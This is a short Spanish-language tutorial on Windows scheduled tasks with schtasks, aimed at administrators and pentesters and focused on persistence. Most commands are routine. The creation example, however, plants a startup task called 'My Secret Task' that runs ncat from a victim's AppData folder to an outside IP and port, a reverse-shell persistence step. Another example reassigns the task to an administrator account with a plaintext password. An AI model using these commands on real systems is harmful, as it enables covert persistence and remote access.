Tareas Programadas (Windows CMD) — schtasks & Persistencia

Las tareas programadas permiten ejecutar acciones automáticamente en un host según condiciones definidas (activadores).
Son útiles tanto para administradores 👨‍💻 como para pentesters 🕵️‍♂️:


🔹 Qué son las tareas programadas


🔹 Comando schtasks

1️⃣ Consultar tareas existentes

SCHTASKS /Query /V /FO LIST

💡 Ejemplo de salida:

TaskName: \Check Network Access
Task To Run: C:\Windows\System32\cmd.exe ping 8.8.8.8
Schedule Type: At system start up
Run As User: tru7h

2️⃣ Crear una nueva tarea

schtasks /create /sc ONSTART /tn "My Secret Task" /tr "C:\Users\Victim\AppData\Local\ncat.exe 172.16.1.100 8100"

3️⃣ Modificar tarea existente

schtasks /change /tn "My Secret Task" /ru administrator /rp "P@ssw0rd"

💡 Verificar cambios:

schtasks /query /tn "My Secret Task" /V /FO LIST


4️⃣ Ejecutar tarea inmediatamente

schtasks /run /tn "My Secret Task"

5️⃣ Eliminar tarea

schtasks /delete /tn "My Secret Task" /F